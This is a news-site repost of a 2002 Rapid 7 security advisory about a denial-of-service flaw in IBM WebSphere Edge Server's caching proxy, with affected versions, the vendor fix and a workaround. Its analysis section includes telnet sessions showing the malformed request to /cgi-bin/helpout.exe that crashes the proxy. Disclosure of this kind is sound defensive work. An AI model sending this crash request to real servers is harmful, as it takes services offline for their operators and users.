Main Menu
Network
Sponsor
Top 10 Sites
Partners
|
|
Top Submit newsSubscribe 
Communication | Computer Crime | Digital Audio, Video, Photo | General News | Hardware | Internet | Mobile | PDA | Security | Software | Vulnerability |
Previous articleBack to news listNext article
| Sponsored links | Want to become one of our authors and see your work published on ALLSeek.iNFO ?
| | IBM WebSphere Edge Server Caching Proxy Denial of Service |
|---|
Categorie: Vulnerability
Posted: 2002-10-25 by Gmtech
Views: 403
Source: Click here
| Current Rating: Not rated
|
| | Details |
|---|
Rapid 7, Inc. Security Advisory
Visit http://www.rapid7.com/ to download NeXpose(tm), our advanced vulnerability scanner. Linux and Windows 2000 versions are available now!
Rapid 7 Advisory R7-0007
IBM WebSphere Edge Server Caching Proxy Denial of Service
Published: October 23, 2002
Revision: 1.0
http://www.rapid7.com/advisories/R7-0007.txt
IBM: APAR# IY35970
CVE: CAN-2002-1169
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1169
Bugtraq: 6002
http://online.securityfocus.com/bid/6002
1. Affected system(s):
KNOWN VULNERABLE:
o IBM Web Traffic Express Caching Proxy Server v4.x (bundled with IBM WebSphere Edge Server v2.0)
o IBM Web Traffic Express Caching Proxy Server v3.6
2. Summary
The Caching Proxy component of IBM's WebSphere Edge Server v2.0 is vulnerable to a denial-of-service attack against one of the default CGI programs. A malformed HTTP request for /cgi-bin/helpout.exe will cause ibmproxy.exe to crash and cease functioning.
IBM now bundles Web Traffic Express v4.0 with WebSphere Edge Server v2.0. IBM Web Traffic Express v3.6 and earlier were separately shipping products.
3. Vendor status and information
IBM Software
http://www-3.ibm.com/software/webservers/edgeserver/index.html
IBM was notified of this issue and has released efix build number 4.0.1.26 for Caching Proxy Server v4.x, which fixes this issue and other security issues (see Rapid 7 advisory R7-0008 for more information: http://www.rapid7.com/advisories/R7-0008.txt ).
IBM is tracking this issue as APAR# IY35970.
4. Solution
IBM customers should install Caching Proxy efix build 4.0.1.26 or higher. Efix builds can be downloaded from IBM's secure FTP site. For more information on obtaining efix builds, contact IBM support with the APAR number listed above.
This fix has also been ported back to the Web Traffic Express v3.6 code base. Customers running v3.6 should contact IBM support for more information on how to upgrade to a newer build.
As a temporary workaround, you can move the file /cgi-bin/helpout.exe to a non-executable directory until the fix has been applied.
5. Detailed analysis
The proxy server will crash when /cgi-bin/helpout.exe is the subject of an HTTP request that does not include an HTTP version specifier at the end of the request line.
If you include a version specifier (e.g. "HTTP/1.0"), helpout.exe will successfully serve up a blank page.
[~] $ telnet localhost 80
Trying 127.0.0.1...
Connected to proxy.victim.com.
Escape character is '^]'.
GET /cgi-bin/helpout.exe HTTP/1.0
HTTP/1.1 200 Document follows
Pragma: no-cache
Last-Modified: Fri, 18 Oct 2002 16:54:40 GMT
Content-Type: text/html
Accept-Ranges: bytes
Connection: close
Date: Fri, 18 Oct 2002 16:54:40 GMT
Server: IBM-PROXY-WTE/2.0
Connection closed by foreign host.
If you send a request with no version specifier, or with a version specifier that does not include a forward slash (e.g. "HTTP" or ""), ibmproxy.exe will crash, closing all connections:
[~] $ telnet localhost 80
Trying 127.0.0.1...
Connected to proxy.victim.com.
Escape character is '^]'.
GET /cgi-bin/helpout.exe HTTP
Connection closed by foreign host.
An exception dialog will be displayed on the server console, reading:
ibmproxy.exe - Application Error
The instruction at "0x002662ac" referenced memory at "0x00000000". The memory could not be "read".
The access violation occurs within the WHTTPD.DLL module.
6. Contact Information
Rapid 7 Security Advisories
Email: advisory@rapid7.com
Web: http://www.rapid7.com/
Phone: +1 (212) 558-8700
7. Disclaimer and Copyright
Rapid 7, Inc. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.
This advisory Copyright (C) 2002 Rapid 7, Inc. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.
| | Syndication |
|---|
Permalink Email this
The URI to TrackBack this entry is:
http://allseek.info/news/trackback.php?id=139
| | User comments (post your comments ) |
|---|
Only registerd members can post comments and articles
|
| Previous articleBack to news listNext article
|
|
|
|
InterJOB.su
|
